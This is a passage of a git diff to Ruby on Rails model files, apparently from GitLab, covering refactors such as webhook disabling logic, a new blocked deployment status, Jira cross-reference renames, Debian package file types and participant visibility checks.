- loose_foreign_key can be only used on base classes, inherited classes are not supported.
- Please define the loose_foreign_key on the #{base_class.name} class.
- MSG
- end
-
- on_delete_options = %i[async_delete async_nullify]
-
- unless on_delete_options.include?(symbolized_options[:on_delete]&.to_sym)
- raise "Invalid on_delete option given: #{symbolized_options[:on_delete]}. Valid options: #{on_delete_options.join(', ')}"
- end
-
- definition = ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
- table_name.to_s,
- to_table.to_s,
- {
- column: column.to_s,
- on_delete: symbolized_options[:on_delete].to_sym
- }
- )
-
- self.loose_foreign_key_definitions += [definition]
- end
- end
-end
diff --git a/app/models/concerns/merge_request_reviewer_state.rb b/app/models/concerns/merge_request_reviewer_state.rb
index 216a3a0bd64..5859f43a70c 100644
--- a/app/models/concerns/merge_request_reviewer_state.rb
+++ b/app/models/concerns/merge_request_reviewer_state.rb
@@ -15,11 +15,5 @@ module MergeRequestReviewerState
inclusion: { in: self.states.keys }
after_initialize :set_state, unless: :persisted?
-
- def set_state
- if Feature.enabled?(:mr_attention_requests, self.merge_request&.project, default_enabled: :yaml)
- self.state = :attention_requested
- end
- end
end
end
diff --git a/app/models/concerns/packages/debian/component_file.rb b/app/models/concerns/packages/debian/component_file.rb
index 9cf66c756a0..77409549e85 100644
--- a/app/models/concerns/packages/debian/component_file.rb
+++ b/app/models/concerns/packages/debian/component_file.rb
@@ -20,13 +20,13 @@ module Packages
belongs_to :component, class_name: "Packages::Debian::#{container_type.capitalize}Component", inverse_of: :files
belongs_to :architecture, class_name: "Packages::Debian::#{container_type.capitalize}Architecture", inverse_of: :files, optional: true
- enum file_type: { packages: 1, source: 2, di_packages: 3 }
+ enum file_type: { packages: 1, sources: 2, di_packages: 3 }
enum compression_type: { gz: 1, bz2: 2, xz: 3 }
validates :component, presence: true
validates :file_type, presence: true
- validates :architecture, presence: true, unless: :source?
- validates :architecture, absence: true, if: :source?
+ validates :architecture, presence: true, unless: :sources?
+ validates :architecture, absence: true, if: :sources?
validates :file, length: { minimum: 0, allow_nil: false }
validates :size, presence: true
validates :file_store, presence: true
@@ -81,7 +81,7 @@ module Packages
case file_type
when 'packages'
"#{component.name}/binary-#{architecture.name}/#{file_name}#{extension}"
- when 'source'
+ when 'sources'
"#{component.name}/source/#{file_name}#{extension}"
when 'di_packages'
"#{component.name}/debian-installer/binary-#{architecture.name}/#{file_name}#{extension}"
diff --git a/app/models/concerns/participable.rb b/app/models/concerns/participable.rb
index 25410a859e9..1663aa6c886 100644
--- a/app/models/concerns/participable.rb
+++ b/app/models/concerns/participable.rb
@@ -60,6 +60,15 @@ module Participable
filtered_participants_hash[user]
end
+ # Returns only participants visible for the user
+ #
+ # Returns an Array of User instances.
+ def visible_participants(user)
+ return participants(user) unless Feature.enabled?(:verify_participants_access, project, default_enabled: :yaml)
+
+ filter_by_ability(raw_participants(user, verify_access: true))
+ end
+
# Checks if the user is a participant in a discussion.
#
# This method processes attributes of objects in breadth-first order.
@@ -84,8 +93,7 @@ module Participable
end
end
- def raw_participants(current_user = nil)
- current_user ||= author
+ def raw_participants(current_user = nil, verify_access: false)
ext = Gitlab::ReferenceExtractor.new(project, current_user)
participants = Set.new
process = [self]
@@ -97,6 +105,8 @@ module Participable
when User
participants << source
when Participable
+ next unless !verify_access || source_visible_to_user?(source, current_user)
+
source.class.participant_attrs.each do |attr|
if attr.respond_to?(:call)
source.instance_exec(current_user, ext, &attr)
@@ -116,6 +126,10 @@ module Participable
participants.merge(ext.users)
end
+ def source_visible_to_user?(source, user)
+ Ability.allowed?(user, "read_#{source.model_name.element}".to_sym, source)
+ end
+
def filter_by_ability(participants)
case self
when PersonalSnippet
diff --git a/app/models/concerns/partitioned_table.rb b/app/models/concerns/partitioned_table.rb
index 23d2d00b346..f95f9dd8ad7 100644
--- a/app/models/concerns/partitioned_table.rb
+++ b/app/models/concerns/partitioned_table.rb
@@ -7,7 +7,8 @@ module PartitionedTable
attr_reader :partitioning_strategy
PARTITIONING_STRATEGIES = {
- monthly: Gitlab::Database::Partitioning::MonthlyStrategy
+ monthly: Gitlab::Database::Partitioning::MonthlyStrategy,
+ sliding_list: Gitlab::Database::Partitioning::SlidingListStrategy
}.freeze
def partitioned_by(partitioning_key, strategy:, **kwargs)
diff --git a/app/models/concerns/relative_positioning.rb b/app/models/concerns/relative_positioning.rb
index c32e499c329..9069d3088cd 100644
--- a/app/models/concerns/relative_positioning.rb
+++ b/app/models/concerns/relative_positioning.rb
@@ -168,6 +168,24 @@ module RelativePositioning
self.relative_position = MIN_POSITION
end
+ def next_object_by_relative_position(ignoring: nil, order: :asc)
+ relation = relative_positioning_scoped_items(ignoring: ignoring).reorder(relative_position: order)
+
+ relation = if order == :asc
+ relation.where(self.class.arel_table[:relative_position].gt(relative_position))
+ else
+ relation.where(self.class.arel_table[:relative_position].lt(relative_position))
+ end
+
+ relation.first
+ end
+
+ def relative_positioning_scoped_items(ignoring: nil)
+ relation = self.class.relative_positioning_query_base(self)
+ relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
+ relation
+ end
+
# This method is used during rebalancing - override it to customise the update
# logic:
def update_relative_siblings(relation, range, delta)
diff --git a/app/models/concerns/resolvable_discussion.rb b/app/models/concerns/resolvable_discussion.rb
index 60e1dde17b9..aae338e9759 100644
--- a/app/models/concerns/resolvable_discussion.rb
+++ b/app/models/concerns/resolvable_discussion.rb
@@ -30,11 +30,14 @@ module ResolvableDiscussion
delegate :resolved_at,
:resolved_by,
- :resolved_by_push?,
to: :last_resolved_note,
allow_nil: true
end
+ def resolved_by_push?
+ !!last_resolved_note&.resolved_by_push?
+ end
+
def resolvable?
strong_memoize(:resolvable) do
potentially_resolvable? && notes.any?(&:resolvable?)
diff --git a/app/models/concerns/sha_attribute.rb b/app/models/concerns/sha_attribute.rb
index ba7c6c0cd8b..e49f4d03bda 100644
--- a/app/models/concerns/sha_attribute.rb
+++ b/app/models/concerns/sha_attribute.rb
@@ -3,11 +3,14 @@
module ShaAttribute
extend ActiveSupport::Concern
+ # Needed for the database method
+ include DatabaseReflection
+
class_methods do
def sha_attribute(name)
return if ENV['STATIC_VERIFICATION']
- validate_binary_column_exists!(name) if Rails.env.development?
+ validate_binary_column_exists!(name) if Rails.env.development? || Rails.env.test?
attribute(name, Gitlab::Database::ShaAttribute.new)
end
diff --git a/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
index 3be82ed72d3..447521ad8c1 100644
--- a/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
+++ b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
@@ -11,7 +11,7 @@ module TokenAuthenticatableStrategies
# The pattern of the token is "#{DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv_of_12_characters}"
if token.start_with?(DYNAMIC_NONCE_IDENTIFIER) && token.size > NONCE_SIZE + DYNAMIC_NONCE_IDENTIFIER.size
token_to_decrypt = token[1...-NONCE_SIZE]
- iv = token[-NONCE_SIZE..-1]
+ iv = token[-NONCE_SIZE..]
Gitlab::CryptoHelper.aes256_gcm_decrypt(token_to_decrypt, nonce: iv)
else
diff --git a/app/models/concerns/transactions.rb b/app/models/concerns/transactions.rb
index a186ebc8475..1c9bd8274f5 100644
--- a/app/models/concerns/transactions.rb
+++ b/app/models/concerns/transactions.rb
@@ -8,7 +8,7 @@ module Transactions
# transaction. Handles special cases when running inside a test environment,
# where tests may be wrapped in transactions
def inside_transaction?
- base = Rails.env.test? ? @open_transactions_baseline.to_i : 0
+ base = Rails.env.test? ? open_transactions_baseline.to_i : 0
connection.open_transactions > base
end
@@ -24,5 +24,15 @@ module Transactions
def reset_open_transactions_baseline
@open_transactions_baseline = 0
end
+
+ def open_transactions_baseline
+ return unless Rails.env.test?
+
+ if @open_transactions_baseline.nil?
+ return self == ApplicationRecord ? nil : superclass.open_transactions_baseline
+ end
+
+ @open_transactions_baseline
+ end
end
end
diff --git a/app/models/container_repository.rb b/app/models/container_repository.rb
index 8e130998f11..c914819f79d 100644
--- a/app/models/container_repository.rb
+++ b/app/models/container_repository.rb
@@ -145,9 +145,14 @@ class ContainerRepository < ApplicationRecord
name: path.repository_name)
end
- def self.create_from_path!(path)
- safe_find_or_create_by!(project: path.repository_project,
- name: path.repository_name)
+ def self.find_or_create_from_path(path)
+ repository = safe_find_or_create_by(
+ project: path.repository_project,
+ name: path.repository_name
+ )
+ return repository if repository.persisted?
+
+ find_by_path!(path)
end
def self.build_root_repository(project)
diff --git a/app/models/context_commits_diff.rb b/app/models/context_commits_diff.rb
index fe1a72b79f2..3d25b60678a 100644
--- a/app/models/context_commits_diff.rb
+++ b/app/models/context_commits_diff.rb
@@ -3,6 +3,7 @@
class ContextCommitsDiff
include ActsAsPaginatedDiff
+ delegate :head, :base, to: :compare
attr_reader :merge_request
def initialize(merge_request)
diff --git a/app/models/customer_relations/contact.rb b/app/models/customer_relations/contact.rb
index 5898bc3412f..d8669f1f4c2 100644
--- a/app/models/customer_relations/contact.rb
+++ b/app/models/customer_relations/contact.rb
@@ -25,6 +25,13 @@ class CustomerRelations::Contact < ApplicationRecord
validates :description, length: { maximum: 1024 }
validate :validate_email_format
+ def self.find_ids_by_emails(group_id, emails)
+ raise ArgumentError, "Cannot lookup more than #{MAX_PLUCK} emails" if emails.length > MAX_PLUCK
+
+ where(group_id: group_id, email: emails)
+ .pluck(:id)
+ end
+
private
def validate_email_format
diff --git a/app/models/customer_relations/issue_contact.rb b/app/models/customer_relations/issue_contact.rb
index 98faf8d6644..78f662b6a58 100644
--- a/app/models/customer_relations/issue_contact.rb
+++ b/app/models/customer_relations/issue_contact.rb
@@ -8,6 +8,14 @@ class CustomerRelations::IssueContact < ApplicationRecord
validate :contact_belongs_to_issue_group
+ def self.find_contact_ids_by_emails(issue_id, emails)
+ raise ArgumentError, "Cannot lookup more than #{MAX_PLUCK} emails" if emails.length > MAX_PLUCK
+
+ joins(:contact)
+ .where(issue_id: issue_id, customer_relations_contacts: { email: emails })
+ .pluck(:contact_id)
+ end
+
private
def contact_belongs_to_issue_group
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index ade19ce02a8..4c60ce57f49 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -46,9 +46,10 @@ class Deployment < ApplicationRecord
scope :for_project, -> (project_id) { where(project_id: project_id) }
scope :for_projects, -> (projects) { where(project: projects) }
- scope :visible, -> { where(status: %i[running success failed canceled]) }
+ scope :visible, -> { where(status: %i[running success failed canceled blocked]) }
scope :stoppable, -> { where.not(on_stop: nil).where.not(deployable_id: nil).success }
scope :active, -> { where(status: %i[created running]) }
+ scope :upcoming, -> { where(status: %i[blocked running]) }
scope :older_than, -> (deployment) { where('deployments.id < ?', deployment.id) }
scope :with_api_entity_associations, -> { preload({ deployable: { runner: [], tags: [], user: [], job_artifacts_archive: [] } }) }
@@ -64,6 +65,10 @@ class Deployment < ApplicationRecord
transition created: :running
end
+ event :block do
+ transition created: :blocked
+ end
+
event :succeed do
transition any - [:success] => :success
end
@@ -119,6 +124,8 @@ class Deployment < ApplicationRecord
next if transition.loopback?
deployment.run_after_commit do
+ next unless deployment.project.jira_subscription_exists?
+
::JiraConnect::SyncDeploymentsWorker.perform_async(id)
end
end
@@ -126,6 +133,8 @@ class Deployment < ApplicationRecord
after_create unless: :importing? do |deployment|
run_after_commit do
+ next unless deployment.project.jira_subscription_exists?
+
::JiraConnect::SyncDeploymentsWorker.perform_async(deployment.id)
end
end
@@ -136,7 +145,8 @@ class Deployment < ApplicationRecord
success: 2,
failed: 3,
canceled: 4,
- skipped: 5
+ skipped: 5,
+ blocked: 6
}
def self.archivables_in(project, limit:)
@@ -387,6 +397,8 @@ class Deployment < ApplicationRecord
cancel!
when 'skipped'
skip!
+ when 'blocked'
+ block!
else
raise ArgumentError, "The status #{status.inspect} is invalid"
end
diff --git a/app/models/dev_ops_report/metric.rb b/app/models/dev_ops_report/metric.rb
index 14eff725433..d30e869b155 100644
--- a/app/models/dev_ops_report/metric.rb
+++ b/app/models/dev_ops_report/metric.rb
@@ -6,6 +6,20 @@ module DevOpsReport
self.table_name = 'conversational_development_index_metrics'
+ METRICS = %w[leader_issues instance_issues percentage_issues leader_notes instance_notes
+ percentage_notes leader_milestones instance_milestones percentage_milestones
+ leader_boards instance_boards percentage_boards leader_merge_requests
+ instance_merge_requests percentage_merge_requests leader_ci_pipelines
+ instance_ci_pipelines percentage_ci_pipelines leader_environments instance_environments
+ percentage_environments leader_deployments instance_deployments percentage_deployments
+ leader_projects_prometheus_active instance_projects_prometheus_active
+ percentage_projects_prometheus_active leader_service_desk_issues instance_service_desk_issues
+ percentage_service_desk_issues].freeze
+
+ METRICS.each do |metric_name|
+ validates metric_name, presence: true, numericality: { greater_than_or_equal_to: 0 }
+ end
+
def instance_score(feature)
self["instance_#{feature}"]
end
diff --git a/app/models/environment.rb b/app/models/environment.rb
index 2618991c9e5..a830c04f291 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -31,7 +31,7 @@ class Environment < ApplicationRecord
has_one :last_visible_deployable, through: :last_visible_deployment, source: 'deployable', source_type: 'CommitStatus', disable_joins: true
has_one :last_visible_pipeline, through: :last_visible_deployable, source: 'pipeline', disable_joins: true
- has_one :upcoming_deployment, -> { running.distinct_on_environment }, class_name: 'Deployment', inverse_of: :environment
+ has_one :upcoming_deployment, -> { upcoming.distinct_on_environment }, class_name: 'Deployment', inverse_of: :environment
has_one :latest_opened_most_severe_alert, -> { order_severity_with_open_prometheus_alert }, class_name: 'AlertManagement::Alert', inverse_of: :environment
before_validation :generate_slug, if: ->(env) { env.slug.blank? }
diff --git a/app/models/error_tracking/error_event.rb b/app/models/error_tracking/error_event.rb
index 0b638f65768..18c1467e6f6 100644
--- a/app/models/error_tracking/error_event.rb
+++ b/app/models/error_tracking/error_event.rb
@@ -3,6 +3,9 @@
class ErrorTracking::ErrorEvent < ApplicationRecord
belongs_to :error, counter_cache: :events_count
+ # Scrub null bytes
+ attribute :payload, Gitlab::Database::Type::JsonPgSafe.new
+
validates :payload, json_schema: { filename: 'error_tracking_event_payload' }
validates :error, presence: true
diff --git a/app/models/event.rb b/app/models/event.rb
index f6174589a84..409bc66c66c 100644
--- a/app/models/event.rb
+++ b/app/models/event.rb
@@ -130,10 +130,11 @@ class Event < ApplicationRecord
# Update Gitlab::ContributionsCalendar#activity_dates if this changes
def contributions
- where("action = ? OR (target_type IN (?) AND action IN (?)) OR (target_type = ? AND action = ?)",
- actions[:pushed],
- %w(MergeRequest Issue), [actions[:created], actions[:closed], actions[:merged]],
- "Note", actions[:commented])
+ where(
+ 'action IN (?) OR (target_type IN (?) AND action IN (?))',
+ [actions[:pushed], actions[:commented]],
+ %w(MergeRequest Issue), [actions[:created], actions[:closed], actions[:merged]]
+ )
end
def limit_recent(limit = 20, offset = nil)
diff --git a/app/models/gpg_key.rb b/app/models/gpg_key.rb
index 0cb3662368c..a56e28859c9 100644
--- a/app/models/gpg_key.rb
+++ b/app/models/gpg_key.rb
@@ -92,13 +92,13 @@ class GpgKey < ApplicationRecord
end
def revoke
- GpgSignature
+ CommitSignatures::GpgSignature
.with_key_and_subkeys(self)
- .where.not(verification_status: GpgSignature.verification_statuses[:unknown_key])
+ .where.not(verification_status: CommitSignatures::GpgSignature.verification_statuses[:unknown_key])
.update_all(
gpg_key_id: nil,
gpg_key_subkey_id: nil,
- verification_status: GpgSignature.verification_statuses[:unknown_key],
+ verification_status: CommitSignatures::GpgSignature.verification_statuses[:unknown_key],
updated_at: Time.zone.now
)
diff --git a/app/models/gpg_signature.rb b/app/models/gpg_signature.rb
deleted file mode 100644
index 2775b520b2f..00000000000
--- a/app/models/gpg_signature.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-# frozen_string_literal: true
-
-class GpgSignature < ApplicationRecord
- include ShaAttribute
-
- sha_attribute :commit_sha
- sha_attribute :gpg_key_primary_keyid
-
- enum verification_status: {
- unverified: 0,
- verified: 1,
- same_user_different_email: 2,
- other_user: 3,
- unverified_key: 4,
- unknown_key: 5,
- multiple_signatures: 6
- }
-
- belongs_to :project
- belongs_to :gpg_key
- belongs_to :gpg_key_subkey
-
- validates :commit_sha, presence: true
- validates :project_id, presence: true
- validates :gpg_key_primary_keyid, presence: true
-
- scope :by_commit_sha, ->(shas) { where(commit_sha: shas) }
-
- def self.with_key_and_subkeys(gpg_key)
- subkey_ids = gpg_key.subkeys.pluck(:id)
-
- where(
- arel_table[:gpg_key_id].eq(gpg_key.id).or(
- arel_table[:gpg_key_subkey_id].in(subkey_ids)
- )
- )
- end
-
- def self.safe_create!(attributes)
- create_with(attributes)
- .safe_find_or_create_by!(commit_sha: attributes[:commit_sha])
- end
-
- # Find commits that are lacking a signature in the database at present
- def self.unsigned_commit_shas(commit_shas)
- return [] if commit_shas.empty?
-
- signed = GpgSignature.where(commit_sha: commit_shas).pluck(:commit_sha)
-
- commit_shas - signed
- end
-
- def gpg_key=(model)
- case model
- when GpgKey
- super
- when GpgKeySubkey
- self.gpg_key_subkey = model
- when NilClass
- super
- self.gpg_key_subkey = nil
- end
- end
-
- def gpg_key
- if gpg_key_id
- super
- elsif gpg_key_subkey_id
- gpg_key_subkey
- end
- end
-
- def gpg_key_primary_keyid
- super&.upcase
- end
-
- def commit
- project.commit(commit_sha)
- end
-
- def gpg_commit
- return unless commit
-
- Gitlab::Gpg::Commit.new(commit)
- end
-end
diff --git a/app/models/group.rb b/app/models/group.rb
index 2dd20300ad2..f51782785f9 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -852,15 +852,7 @@ class Group < Namespace
end
def self.groups_including_descendants_by(group_ids)
- groups = Group.where(id: group_ids)
-
- if Feature.enabled?(:linear_group_including_descendants_by, default_enabled: :yaml)
- groups.self_and_descendants
- else
- Gitlab::ObjectHierarchy
- .new(groups)
- .base_and_descendants
- end
+ Group.where(id: group_ids).self_and_descendants
end
def disable_shared_runners!
diff --git a/app/models/hooks/project_hook.rb b/app/models/hooks/project_hook.rb
index d1584a62bfb..16b95d2a2b9 100644
--- a/app/models/hooks/project_hook.rb
+++ b/app/models/hooks/project_hook.rb
@@ -31,10 +31,6 @@ class ProjectHook < WebHook
_('Webhooks')
end
- def web_hooks_disable_failed?
- Feature.enabled?(:web_hooks_disable_failed, project)
- end
-
override :rate_limit
def rate_limit
project.actual_limits.limit_for(:web_hook_calls)
@@ -44,6 +40,13 @@ class ProjectHook < WebHook
def application_context
super.merge(project: project)
end
+
+ private
+
+ override :web_hooks_disable_failed?
+ def web_hooks_disable_failed?
+ Feature.enabled?(:web_hooks_disable_failed, project)
+ end
end
ProjectHook.prepend_mod_with('ProjectHook')
diff --git a/app/models/hooks/web_hook.rb b/app/models/hooks/web_hook.rb
index cb5c1ac48cd..e8a55abfc8f 100644
--- a/app/models/hooks/web_hook.rb
+++ b/app/models/hooks/web_hook.rb
@@ -34,9 +34,19 @@ class WebHook < ApplicationRecord
end
def executable?
- return true unless web_hooks_disable_failed?
+ !temporarily_disabled? && !permanently_disabled?
+ end
+
+ def temporarily_disabled?
+ return false unless web_hooks_disable_failed?
+
+ disabled_until.present? && disabled_until >= Time.current
+ end
+
+ def permanently_disabled?
+ return false unless web_hooks_disable_failed?
- recent_failures <= FAILURE_THRESHOLD && (disabled_until.nil? || disabled_until < Time.current)
+ recent_failures > FAILURE_THRESHOLD
end
# rubocop: disable CodeReuse/ServiceClass
@@ -69,6 +79,8 @@ class WebHook < ApplicationRecord
end
def disable!
+ return if permanently_disabled?
+
update_attribute(:recent_failures, FAILURE_THRESHOLD + 1)
end
@@ -80,7 +92,7 @@ class WebHook < ApplicationRecord
end
def backoff!
- return if backoff_count >= MAX_FAILURES && disabled_until && disabled_until > Time.current
+ return if permanently_disabled? || (backoff_count >= MAX_FAILURES && temporarily_disabled?)
assign_attributes(disabled_until: next_backoff.from_now, backoff_count: backoff_count.succ.clamp(0, MAX_FAILURES))
save(validate: false)
@@ -93,7 +105,19 @@ class WebHook < ApplicationRecord
save(validate: false)
end
- # Overridden in ProjectHook and GroupHook, other webhooks are not rate-limited.
+ # @return [Boolean] Whether or not the WebHook is currently throttled.
+ def rate_limited?
+ return false unless rate_limit
+
+ Gitlab::ApplicationRateLimiter.peek(
+ :web_hook_calls,
+ scope: [self],
+ threshold: rate_limit
+ )
+ end
+
+ # Threshold for the rate-limit.
+ # Overridden in ProjectHook and GroupHook, other WebHooks are not rate-limited.
def rate_limit
nil
end
diff --git a/app/models/incident_management/issuable_escalation_status.rb b/app/models/incident_management/issuable_escalation_status.rb
index 88aef104d88..fc881e62efd 100644
--- a/app/models/incident_management/issuable_escalation_status.rb
+++ b/app/models/incident_management/issuable_escalation_status.rb
@@ -7,8 +7,11 @@ module IncidentManagement
self.table_name = 'incident_management_issuable_escalation_statuses'
belongs_to :issue
+ has_one :project, through: :issue, inverse_of: :incident_management_issuable_escalation_status
validates :issue, presence: true, uniqueness: true
+
+ delegate :project, to: :issue
end
end
diff --git a/app/models/instance_configuration.rb b/app/models/instance_configuration.rb
index 0bf9e805aa8..bbddc18103a 100644
--- a/app/models/instance_configuration.rb
+++ b/app/models/instance_configuration.rb
@@ -62,6 +62,7 @@ class InstanceConfiguration
def plan_file_size_limits(plan)
{
conan: plan.actual_limits[:conan_max_file_size],
+ helm: plan.actual_limits[:helm_max_file_size],
maven: plan.actual_limits[:maven_max_file_size],
npm: plan.actual_limits[:npm_max_file_size],
nuget: plan.actual_limits[:nuget_max_file_size],
diff --git a/app/models/integration.rb b/app/models/integration.rb
index d3059fa6d4a..29d96650a81 100644
--- a/app/models/integration.rb
+++ b/app/models/integration.rb
@@ -14,11 +14,13 @@ class Integration < ApplicationRecord
asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker datadog discord
drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat irker jira
mattermost mattermost_slash_commands microsoft_teams packagist pipelines_email
- pivotaltracker prometheus pushover redmine shimo slack slack_slash_commands teamcity unify_circuit webex_teams youtrack zentao
+ pivotaltracker prometheus pushover redmine slack slack_slash_commands teamcity unify_circuit webex_teams youtrack zentao
].freeze
+ # TODO Shimo is temporary disabled on group and instance-levels.
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/345677
PROJECT_SPECIFIC_INTEGRATION_NAMES = %w[
- jenkins
+ jenkins shimo
].freeze
# Fake integrations to help with local development.
diff --git a/app/models/integrations/base_issue_tracker.rb b/app/models/integrations/base_issue_tracker.rb
index 3fd67205e92..42a6a3a19c8 100644
--- a/app/models/integrations/base_issue_tracker.rb
+++ b/app/models/integrations/base_issue_tracker.rb
@@ -128,7 +128,7 @@ module Integrations
false
end
- def create_cross_reference_note(mentioned, noteable, author)
+ def create_cross_reference_note(external_issue, mentioned_in, author)
# implement inside child
end
diff --git a/app/models/integrations/jira.rb b/app/models/integrations/jira.rb
index 42c291abf55..d46299de1be 100644
--- a/app/models/integrations/jira.rb
+++ b/app/models/integrations/jira.rb
@@ -234,19 +234,19 @@ module Integrations
end
override :create_cross_reference_note
- def create_cross_reference_note(mentioned, noteable, author)
- unless can_cross_reference?(noteable)
- return s_("JiraService|Events for %{noteable_model_name} are disabled.") % { noteable_model_name: noteable.model_name.plural.humanize(capitalize: false) }
+ def create_cross_reference_note(external_issue, mentioned_in, author)
+ unless can_cross_reference?(mentioned_in)
+ return s_("JiraService|Events for %{noteable_model_name} are disabled.") % { noteable_model_name: mentioned_in.model_name.plural.humanize(capitalize: false) }
end
- jira_issue = find_issue(mentioned.id)
+ jira_issue = find_issue(external_issue.id)
return unless jira_issue.present?
- noteable_id = noteable.respond_to?(:iid) ? noteable.iid : noteable.id
- noteable_type = noteable_name(noteable)
- entity_url = build_entity_url(noteable_type, noteable_id)
- entity_meta = build_entity_meta(noteable)
+ mentioned_in_id = mentioned_in.respond_to?(:iid) ? mentioned_in.iid : mentioned_in.id
+ mentioned_in_type = mentionable_name(mentioned_in)
+ entity_url = build_entity_url(mentioned_in_type, mentioned_in_id)
+ entity_meta = build_entity_meta(mentioned_in)
data = {
user: {
@@ -259,9 +259,9 @@ module Integrations
},
entity: {
id: entity_meta[:id],
- name: noteable_type.humanize.downcase,
+ name: mentioned_in_type.humanize.downcase,
url: entity_url,
- title: noteable.title,
+ title: mentioned_in.title,
description: entity_meta[:description],
branch: entity_meta[:branch]
}
@@ -302,11 +302,11 @@ module Integrations
private
- def branch_name(noteable)
+ def branch_name(commit)
if Feature.enabled?(:jira_use_first_ref_by_oid, project, default_enabled: :yaml)
- noteable.first_ref_by_oid(project.repository)
+ commit.first_ref_by_oid(project.repository)
else
- noteable.ref_names(project.repository).first
+ commit.ref_names(project.repository).first
end
end
@@ -316,8 +316,8 @@ module Integrations
end
end
- def can_cross_reference?(noteable)
- case noteable
+ def can_cross_reference?(mentioned_in)
+ case mentioned_in
when Commit then commit_events
when MergeRequest then merge_requests_events
else true
@@ -487,36 +487,36 @@ module Integrations
"#{Settings.gitlab.base_url.chomp("/")}#{resource}"
end
- def build_entity_url(noteable_type, entity_id)
+ def build_entity_url(entity_type, entity_id)
polymorphic_url(
[
self.project,
- noteable_type.to_sym
+ entity_type.to_sym
],
id: entity_id,
host: Settings.gitlab.base_url
)
end
- def build_entity_meta(noteable)
- if noteable.is_a?(Commit)
+ def build_entity_meta(entity)
+ if entity.is_a?(Commit)
{
- id: noteable.short_id,
- description: noteable.safe_message,
- branch: branch_name(noteable)
+ id: entity.short_id,
+ description: entity.safe_message,
+ branch: branch_name(entity)
}
- elsif noteable.is_a?(MergeRequest)
+ elsif entity.is_a?(MergeRequest)
{
- id: noteable.to_reference,
- branch: noteable.source_branch
+ id: entity.to_reference,
+ branch: entity.source_branch
}
else
{}
end
end
- def noteable_name(noteable)
- name = noteable.model_name.singular
+ def mentionable_name(mentionable)
+ name = mentionable.model_name.singular
# ProjectSnippet inherits from Snippet class so it causes
# routing error building the URL.
diff --git a/app/models/integrations/shimo.rb b/app/models/integrations/shimo.rb
index 4f42fda2577..0e1023bb7a7 100644
--- a/app/models/integrations/shimo.rb
+++ b/app/models/integrations/shimo.rb
@@ -5,7 +5,11 @@ module Integrations
prop_accessor :external_wiki_url
validates :external_wiki_url, presence: true, public_url: true, if: :activated?
+ after_commit :cache_project_has_shimo
+
def render?
+ return false unless Feature.enabled?(:shimo_integration, project)
+
valid? && activated?
end
@@ -43,5 +47,14 @@ module Integrations
}
]
end
+
+ private
+
+ def cache_project_has_shimo
+ return unless project && !project.destroyed?
+
+ project.project_setting.save! unless project.project_setting.persisted?
+ project.project_setting.update_column(:has_shimo, activated?)
+ end
end
end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 47dc084d69c..537e16e5cc3 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -63,6 +63,7 @@ class Issue < ApplicationRecord
has_many :issue_assignees
has_many :issue_email_participants
+ has_one :email
has_many :assignees, class_name: "User", through: :issue_assignees
has_many :zoom_meetings
has_many :user_mentions, class_name: "IssueUserMention", dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
@@ -228,9 +229,37 @@ class Issue < ApplicationRecord
end
end
+ def next_object_by_relative_position(ignoring: nil, order: :asc)
+ return super unless Feature.enabled?(:optimized_issue_neighbor_queries, project, default_enabled: :yaml)
+
+ array_mapping_scope = -> (id_expression) do
+ relation = Issue.where(Issue.arel_table[:project_id].eq(id_expression))
+
+ if order == :asc
+ relation.where(Issue.arel_table[:relative_position].gt(relative_position))
+ else
+ relation.where(Issue.arel_table[:relative_position].lt(relative_position))
+ end
+ end
+
+ relation = Gitlab::Pagination::Keyset::InOperatorOptimization::QueryBuilder.new(
+ scope: Issue.order(relative_position: order, id: order),
+ array_scope: relative_positioning_parent_projects,
+ array_mapping_scope: array_mapping_scope,
+ finder_query: -> (_, id_expression) { Issue.where(Issue.arel_table[:id].eq(id_expression)) }
+ ).execute
+
+ relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
+
+ relation.take
+ end
+
+ def relative_positioning_parent_projects
+ project.group&.root_ancestor&.all_projects&.select(:id) || Project.id_in(project).select(:id)
+ end
+
def self.relative_positioning_query_base(issue)
- projects = issue.project.group&.root_ancestor&.all_projects || issue.project
- in_projects(projects)
+ in_projects(issue.relative_positioning_parent_projects)
end
def self.relative_positioning_parent_column
@@ -433,8 +462,6 @@ class Issue < ApplicationRecord
# Returns `true` if the current issue can be viewed by either a logged in User
# or an anonymous user.
def visible_to_user?(user = nil)
- return false unless project && project.feature_available?(:issues, user)
-
return publicly_visible? unless user
return false unless readable_by?(user)
@@ -562,10 +589,10 @@ class Issue < ApplicationRecord
project.team.member?(user, Gitlab::Access::REPORTER)
elsif hidden?
false
+ elsif project.public? || (project.internal? && !user.external?)
+ project.feature_available?(:issues, user)
else
- project.public? ||
- project.internal? && !user.external? ||
- project.team.member?(user)
+ project.team.member?(user)
end
end
@@ -604,7 +631,7 @@ class Issue < ApplicationRecord
def could_not_move(exception)
# Symptom of running out of space - schedule rebalancing
- IssueRebalancingWorker.perform_async(nil, *project.self_or_root_group_ids)
+ Issues::RebalancingWorker.perform_async(nil, *project.self_or_root_group_ids)
end
end
diff --git a/app/models/issue/email.rb b/app/models/issue/email.rb
new file mode 100644
index 00000000000..730fda5cdb4
--- /dev/null
+++ b/app/models/issue/email.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Issue::Email < ApplicationRecord
+ self.table_name = 'issue_emails'
+
+ belongs_to :issue
+
+ validates :email_message_id, uniqueness: true, presence: true, length: { maximum: 1000 }
+ validates :issue, presence: true, uniqueness: true
+end
diff --git a/app/models/lfs_object.rb b/app/models/lfs_object.rb
